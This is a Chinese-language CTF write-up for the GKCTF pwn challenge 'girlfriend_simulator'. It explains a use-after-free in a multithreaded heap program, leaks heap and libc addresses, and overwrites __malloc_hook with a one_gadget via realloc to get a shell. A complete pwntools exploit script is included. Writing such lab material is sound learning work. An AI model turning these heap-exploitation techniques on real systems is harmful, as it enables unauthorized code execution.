-
-
[原创]GKCTF-girlfriend_simulator 多线程+堆
-
2020-10-20 16:42 6646
-
一道多线程+堆pwn。
题目漏洞点分析
- 采取的储存结构是 bss_table -> chunk_info(固定大小0x10) -> chunk。但是由于申请时和释放时的顺序相反,只要将chunk的大小控制在0x10,就导致可以泄露堆地址。
线程函数中是一个有UAF的菜单堆,但是限制了利用次数,难以在一个子线程中完成全部利用。
并且当到达最后一个线程时,可以泄露libc基地址。当线程函数结束后,可以对最后一个申请的chunk做一次0x10的任意写。如果最后一个申请的chunk为free状态,那么就可以通过这里来劫持他的fd指针。但需要注意的是,这一个过程是发生在主线程的arena中的
当所有子线程结束后有3次malloc的机会,并且前两次都可以写。利用这个来打one_gadget
解题思路简述
1.利用泄露的堆地址探测什么时候到达主线程的main_arena。(因为arena是个循环链表)
arena结构如下:
可以看看俺的这篇文章。
main_arena
2.在到达主线程的arena时放掉chunk,留下bss上的指针,拿到libc基地址。
3.利用线程结束后的任意写,改fastbin中chunk的fd为malloc_hook-0x23(此时在main_arena中),然后用realloc+one_gadget即可getshell。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 | # encoding=utf-8 from pwn import * from LibcSearcher import * s = lambda buf: io.send(buf) sl = lambda buf: io.sendline(buf) sa = lambda delim, buf: io.sendafter(delim, buf) sal = lambda delim, buf: io.sendlineafter(delim, buf) shell = lambda : io.interactive() r = lambda n = None : io.recv(n) ra = lambda t = tube.forever:io.recvall(t) ru = lambda delim: io.recvuntil(delim) rl = lambda : io.recvline() rls = lambda n = 2 * * 20 : io.recvlines(n) libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so" elf_path = "./girlfriend_simulator" libc = ELF(libc_path) elf = ELF(elf_path) #io = remote("node3.buuoj.cn",26000) if sys.argv[ 1 ] = = '1' : context(log_level = 'debug' ,terminal = '/bin/zsh' , arch = 'amd64' , os = 'linux' ) elif sys.argv[ 1 ] = = '0' : context(log_level = 'info' ,terminal = '/bin/zsh' , arch = 'amd64' , os = 'linux' ) #io = process([elf_path],env={"LD_PRELOAD":libc_path}) cho = '>>' # choice提示语 siz = 'size?' # size输入提示语 con = 'content:' # content输入提示语 def add(size,content = ' ',c=' 1 '): sal(cho,c) sal(siz, str (size)) sa(con,content) def free(c = '2' ): sal(cho,c) def show(c = '3' ): sal(cho,c) # 获取pie基地址 def get_proc_base(p): proc_base = p.libs()[p._cwd + p.argv[ 0 ].strip( '.' )] info( hex (proc_base)) # 获取libc基地址 def get_libc_base(p): libc_base = p.libs()[libc_path] info( hex (libc_base)) def detect_if_thread_main(): # 管理结构:bss_table[] -> chunk_info(0x10大小) -> chunk add( 0x10 , 'a' * 8 ) # 此时开了一个0x10的chunk_info和一个0x10的chunk free() # 释放0x10的chunk到子线程的bins里 add( 0x10 , 'b' * 8 ) # 再申请0x10,此时把之前的chunk申请回来作为chunk_info2 show() # 泄露上一chunk info中uaf的上一chunk地址。 ru( 'b' * 8 ) heap = u64(r( 8 )) success( "last:" + hex (heap)) sal(cho, '5' ) def exp(): global io io = process(elf_path) get_proc_base(io) get_libc_base(io) ru( "How much girlfriend you want ?" ) sl( str ( 9 )) for i in range ( 8 ): detect_if_thread_main() # 经过探测在第九次时到达主线程的main_arena # 接下来的操作均在主线程的main_arena中 add( 0x68 , 'a' * 0x10 ) free() sal(cho, '5' ) ru( "wife:" ) libc.address = int (r( len ( '0x7ffff7bb5620' )), 16 ) - libc.sym[ '_IO_2_1_stdout_' ] success( "libc:" + hex (libc.address)) malloc_hook = libc.sym[ '__malloc_hook' ] realloc = libc.address + ( 0x7ffff7874710 - 0x7ffff77f0000 ) ogg = libc.address + 0x4527a success( "one_gadget:" + hex (ogg)) success( "mallochook:" + hex (malloc_hook)) success( "realloc:" + hex (realloc)) ru( "say something to impress your girlfriend" ) s(p64(malloc_hook - 0x23 )) ru( "your girlfriend is moved by your words" ) sl( "???" ) pause() ru( "Questionnaire" ) s( '\x00' * 11 + p64(ogg) + p64(realloc + 4 )) shell() exp() |
其中detect_if_thread_main()
是用来探测此时是否在主线程的分配区中,注意他输出的是上一个线程的堆地址。(经测试,第9个线程的arena循环到main_arena中)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
他的文章
看原图